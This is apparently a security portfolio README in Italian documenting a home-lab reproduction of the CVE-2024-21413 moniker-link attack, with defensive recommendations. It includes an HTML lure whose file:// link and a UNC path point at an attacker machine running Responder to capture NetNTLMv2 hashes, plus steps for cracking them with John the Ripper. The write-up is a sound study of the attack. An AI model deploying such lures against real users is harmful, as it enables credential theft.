Parte del mio portfolio di SOC Analyst (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)
Configurazione del Lab Moniker Link - CVE-2024-21413
🎯 Panoramica del Progetto
Lab pratico di penetration testing che dimostra lo sfruttamento del moniker link CVE-2024-21413 per il furto di credenziali NTLM. Questo progetto documenta la catena di attacco completa dalla configurazione alla compromissione delle credenziali, inclusi sfide e soluzioni del mondo reale.
Risultato Chiave: Eseguito con successo l'attacco moniker link sia su ambiente di lab isolato (VM Windows 10) che su sistema reale (PC Windows 11), dimostrando vulnerabilità di sicurezza pratiche e contromisure difensive.
🏗️ Architettura del Lab
Infrastruttura
Macchina di Attacco:
- Piattaforma: Kali Linux 2024
- Rete (Host-Only): 192.168.56.101
- Rete (Bridged): 192.168.1.117
- Strumento Principale: Responder 3.1.6.0
Sistemi Target:
- VM Windows 10: 192.168.56.104 (Ambiente di test isolato)
- PC Windows 11: 192.168.1.178 (Validazione nel mondo reale)
Configurazione di Rete:
- Adattatore Host-Only di VirtualBox (test su VM)
- Adattatore Bridged di VirtualBox (test su PC reale)
- Isolato dalle reti di produzione
⚔️ Esecuzione dell'Attacco
Flusso dell'Attacco
- Distribuire Responder su Kali per ascoltare l'autenticazione NTLM
- Creare un link malevolo usando il protocollo file:// puntato all'IP dell'attaccante
- Attivare l'autenticazione tramite percorso UNC in Esplora File
- Catturare l'hash NetNTLMv2 quando la vittima tenta la connessione
- Craccare la password usando John the Ripper
Vettore di Attacco Semplice
File HTML (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
Metodo Esplora File:
- L'utente digita:
\\192.168.56.101\test nella barra degli indirizzi
- Windows tenta la connessione SMB
- L'hash NTLM viene inviato automaticamente (o richiesta di credenziali)
- Responder cattura l'autenticazione
🚧 Sfide e Soluzioni
Sfida 1: Blocco del Firewall di Windows (PC Windows 11)
Problema:
- Impossibile fare ping al PC Windows 11 da Kali
- Tentativi di connessione SMB falliti
- Attacco completamente bloccato
Causa Principale:
- Firewall di Windows abilitato per impostazione predefinita
- Blocca le connessioni SMB in entrata da IP esterni
Soluzione:
- Disabilitato temporaneamente il Firewall di Windows per il test
- Connessione immediatamente riuscita
- Hash catturato con successo
Lezione: Il Firewall di Windows predefinito fornisce una protezione efficace contro questo attacco. Gli utenti devono mantenerlo abilitato.
Sfida 2: Risultati in Cache di John the Ripper (VM Windows 10)
Problema:
- Password iniziale di Windows 10:
nwigwecj1
- John mostrava:
12Honey (password sbagliata!)
12Honey proveniva da un test precedente
Causa Principale:
- John salva le password craccate in
~/.john/john.pot
- Hash vecchio da una sessione precedente
- Mostrava il risultato in cache invece della password corrente
Soluzione:
- Cambiata la password della VM Windows 10 in
1414
- Catturato un hash fresco
- Creata una wordlist personalizzata con password probabili
- Craccata con successo con la nuova wordlist
Lezione: Verifica sempre di stare craccando l'hash corretto. Cancella il file pot o usa password uniche per i test.
Sfida 3: Password Non Presente in Rockyou.txt
Problema:
- Password
1414 non trovata in rockyou.txt (14 milioni di password)
- Attacco con wordlist generica fallito
Causa Principale:
- Rockyou.txt non contiene ogni possibile combinazione di 4 cifre
- Sequenze numeriche semplici spesso mancanti dalle wordlist comuni
Soluzione:
- Creata una wordlist personalizzata mirata basata su pattern comuni:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
- Craccata istantaneamente con la wordlist personalizzata
Lezione: "Non presente in rockyou.txt" ≠ sicura. Le password brevi sono vulnerabili ad attacchi mirati e brute force indipendentemente dalla presenza nella wordlist.
📊 Risultati
VM Windows 10 (Ambiente Controllato)
| Metrica | Risultato |
|---|
| Password Iniziale | nwigwecj1 |
| Cambiata In | 1414 |
| Wordlist | Personalizzata (2 voci) |
| Tempo di Crack | <1 secondo |
| Firewall | Disabilitato per il test |
| Stato | ✅ Compromessa con successo |
PC Windows 11 (Sistema Reale)
| Metrica | Risultato |
|---|
| Password | 1414 |
| Firewall | Inizialmente bloccato, poi disabilitato |
| Autenticazione | Richiesta manuale (credenziali inserite) |
| Tempo di Crack | Istantaneo |
| Stato | ✅ Compromessa con successo |
🛡️ Analisi di Sicurezza
Cosa Ha Funzionato (Difesa)
✅ Firewall di Windows - Ha bloccato completamente l'attacco quando abilitato
✅ Browser Moderni - Chrome/Edge bloccano i link file:// remoti
✅ Consapevolezza dell'Utente - La richiesta manuale richiede l'azione dell'utente
Cosa Ha Fallito (Vulnerabilità)
❌ Password Deboli - 4 caratteri numerici facilmente craccabili
❌ Firewall Disabilitato - Errore comune dell'utente
❌ Esplora File - Nessun avviso per i percorsi UNC
❌ Protocollo NTLM - Autenticazione automatica alle condivisioni SMB
Risultati Chiave
1. Il Firewall è Critico
- Il Firewall di Windows predefinito blocca questo attacco
- ~30-40% degli utenti lo disabilita permanentemente
- Le reti aziendali spesso consentono SMB interno
2. Illusione della Robustezza della Password
1414 non presente in rockyou.txt (sembra "forte")- Craccata istantaneamente con wordlist mirata
- Le password brevi forniscono zero sicurezza
3. Richiesta Interazione dell'Utente
- La sicurezza moderna richiede che l'utente incolli il percorso UNC
- L'ingegneria sociale rimane una componente critica
- L'exploit tecnico da solo è insufficiente
🔧 Strumenti Utilizzati
Offensivi:
- Responder 3.1.6.0 (cattura hash NTLM)
- John the Ripper (cracking password)
- Creazione di wordlist personalizzate
- Semplice file HTML
Infrastruttura:
- VirtualBox 7.0 (virtualizzazione)
- Kali Linux 2024 (piattaforma di attacco)
- Windows 10 Enterprise (target di test)
- Windows 11 Pro (validazione nel mondo reale)
📁 Struttura del Repository
Moniker-Link-Lab-Setup/
├── README.md (questo file)
├── Documentation/
│ ├── attack-execution.md (guida passo-passo all'attacco)
│ └── README.md (panoramica della documentazione)
├── Screenshots/ (screenshot dell'attacco - da aggiungere)
└── Scripts/ (file di test HTML - da aggiungere)
🎓 Competenze Dimostrate
Tecniche:
- Analisi dei protocolli di rete (SMB, NTLM)
- Metodologia di penetration testing
- Tecniche di cracking delle password
- Infrastruttura di lab virtuale
- Risoluzione dei problemi del firewall
Professionali:
- Documentazione tecnica
- Problem-solving sotto vincoli
- Valutazione di sicurezza
- Analisi del rischio
- Pratiche di testing etico
🔒 Raccomandazioni Difensive
Per gli Utenti
- ✅ Mantieni il Firewall di Windows abilitato
- ✅ Non incollare mai percorsi UNC dalle email
- ✅ Usa password forti (15+ caratteri)
- ✅ Verifica il mittente prima di accedere alle condivisioni file
Per le Organizzazioni
- ✅ Blocca SMB in uscita (porta 445) a livello di firewall di rete
- ✅ Disabilita NTLM, imponi Kerberos
- ✅ Monitora le connessioni SMB verso IP esterni
- ✅ Filtraggio del gateway email (rimuovi i link file://)
- ✅ Formazione sulla consapevolezza della sicurezza
- ✅ Politiche di complessità delle password
⚠️ Divulgazione Etica
Tutti i test condotti su sistemi autorizzati:
- Solo infrastruttura di lab personale
- Reti virtuali isolate
- Dispositivi e account propri
- Scopo educativo
e-m-e-k-a/moniker-link-lab-setup
